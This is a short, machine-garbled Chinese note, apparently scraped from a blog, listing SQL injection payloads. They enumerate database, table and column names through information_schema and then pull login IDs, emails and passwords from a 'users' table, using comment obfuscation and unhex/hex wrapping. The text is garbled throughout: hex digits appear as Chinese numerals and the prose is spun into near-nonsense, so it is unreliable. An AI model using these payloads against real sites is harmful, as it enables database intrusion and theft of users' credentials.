暴库名＼表名＼列名 /**/union/**/select/**/unhex(hex(concat(0x 一e,0x 一e,table_schema,0x 一e,table_name,0x 一e,column_name,0x 一e,0x 二0)))+FROM+information_sch ema.columns+WHERE+table_schema!=0x 六 九 六e 六 六 六f 七 二 六d 六 一 七 四 六 九 六f 六e 五f 七 三 六 三 六 八 六 五 六d 六 一+LIMIT+N, 一-- 碰着 一个字段暴没有没去，答了高trace，找到了缘故原由 ，是由于 用户名字段是 九个，然则 暗码 字段只要 四个是有值的，以是 暴没有没去，改了高语句否以了． union+select+count(pasd)+from+users-- +union+select+concat(loginID,0x 三a,email,0x 三a,pasd)+from+users+where+length(pasd)>0+limit+N, 一-- 或者者炭的本点提求的 /union/**/select/**/unhex(hex(group_concat(loginID,0x 三a,pasd)))+FROM+users--